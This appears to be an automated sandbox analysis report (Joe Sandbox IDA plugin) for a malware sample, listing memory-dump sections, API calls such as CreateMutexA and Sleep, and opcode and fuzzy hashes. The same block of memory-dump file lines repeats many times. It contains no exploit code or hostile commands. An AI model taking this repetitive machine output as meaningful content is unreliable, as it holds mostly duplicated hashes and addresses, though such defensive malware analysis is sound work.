Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0872c8f69b5b858b14230f8cad0c6358a6b8e5b2b06cac1bb5967470a3c5f2e0
Instruction ID: 2b34d5f6a9dd78422e3ba9b3cf6021b3a2e9b947aff5463bf1fa15b65707ee8c
Opcode Fuzzy Hash: 0872c8f69b5b858b14230f8cad0c6358a6b8e5b2b06cac1bb5967470a3c5f2e0
Instruction Fuzzy Hash: 61214C31A086019BFF18BB68EDD9B7CB761EFC1314F24421DE418DB2D1C7B56A808B12

Function 0018A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fb27713da9364d6a1994695193b89de2e101d31b32efa4a155f169a7280b7200
Instruction ID: 318aebae05c3f781fb24789076657f81a986138a5d864e636275e29dcd91b125
Opcode Fuzzy Hash: fb27713da9364d6a1994695193b89de2e101d31b32efa4a155f169a7280b7200
Instruction Fuzzy Hash: E5217F306482019BFB2477EC989A73DB351DF92301FA40517E258D73C1DBB59B808B63

Function 0018A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0018A963
CreateMutexA.KERNELBASE(00000000,00000000,001E3254), ref: 0018A981

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f259c67e0752b2d99df33c3e771bfe4ac3f160145de4b92230d024a29de3aaa0
Instruction ID: 350f1663b7fdc6a2e19cd067063a5453ca56d9ecc09beb1f3ae88393d48346a9
Opcode Fuzzy Hash: f259c67e0752b2d99df33c3e771bfe4ac3f160145de4b92230d024a29de3aaa0
Instruction Fuzzy Hash: BE219E31B082009BFB18BB68ED9977CB762EFD1314F64421AE418DB7D0C7756B808B52

Function 001BD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001BA813,00000001,00000364,00000006,000000FF,?,001BEE3F,?,00000004,00000000,?,?), ref: 001BD871

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bd6839df1faf5e613e58ced07195c0a3fb7eb60ee7f0806c04a025fc1034df6c
Instruction ID: bbbb40f923ba1afc4961277e59069fddc92d125521842746fc662f5eb23a7f2c
Opcode Fuzzy Hash: bd6839df1faf5e613e58ced07195c0a3fb7eb60ee7f0806c04a025fc1034df6c
Instruction Fuzzy Hash: 5CF02E3160112566EB3D3A72FC01ADB3759DF957B2B198021FD089B181FB30EC1086E0

Non-executed Functions

Function 00182EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00182F5F
__Mtx_unlock.LIBCPMT ref: 00182FCC
__Cnd_broadcast.LIBCPMT ref: 00182FE3
__Mtx_unlock.LIBCPMT ref: 001830F5
__Mtx_unlock.LIBCPMT ref: 0018319B

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252275315.00000000003F0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252295395.00000000003F8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252318605.00000000003FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252339083.00000000003FD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252361898.00000000003FF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252380578.0000000000400000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252399879.0000000000408000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252423708.000000000041A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.000000000041C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252451520.0000000000445000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252536242.000000000045C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252568798.000000000045D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252594533.0000000000471000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252617426.0000000000472000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252635708.0000000000473000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252655718.0000000000479000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252680142.000000000047B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252705361.0000000000488000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252723533.000000000048A000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_180000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction ID: 7dcedb3c9697eed300da0e2db6372226f403a43c9274472ff0bd59af0d31a3e5
Opcode Fuzzy Hash: 029333b481e8b6f91fc761ae288998e08806bb81842bf51d6cc824351c7ac83b
Instruction Fuzzy Hash: 4AA1B0B0A052059FDF11EF64C948B5AB7A8FF25B14F088129E825D7281EB35EB05CBD1

Function 001BCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001BCC66

Memory Dump Source

Source File: 00000005.00000002.2251027007.0000000000181000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00180000, based on PE: true

Associated: 00000005.00000002.2250998234.0000000000180000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251027007.00000000001E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251104562.00000000001E9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251128282.00000000001EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251157343.00000000001F7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251320963.000000000034C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251348636.000000000034E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000363000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251373297.0000000000371000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251421137.0000000000375000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251457181.0000000000377000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251532423.0000000000378000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251578867.000000000037B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251728034.000000000039E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251755056.000000000039F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251778246.00000000003A1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251809558.00000000003B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251838699.00000000003C6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251863468.00000000003C7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251884306.00000000003C8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251934646.00000000003CC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2251967621.00000000003D4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252007484.00000000003D7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252036360.00000000003DE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252077913.00000000003E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252117859.00000000003E9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252153202.00000000003EB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252175650.00000000003EC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252232887.00000000003ED000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000005.00000002.2252256104.00000000003EE000.00000080.00000001.01000000.0000000B.sdmpDownload File
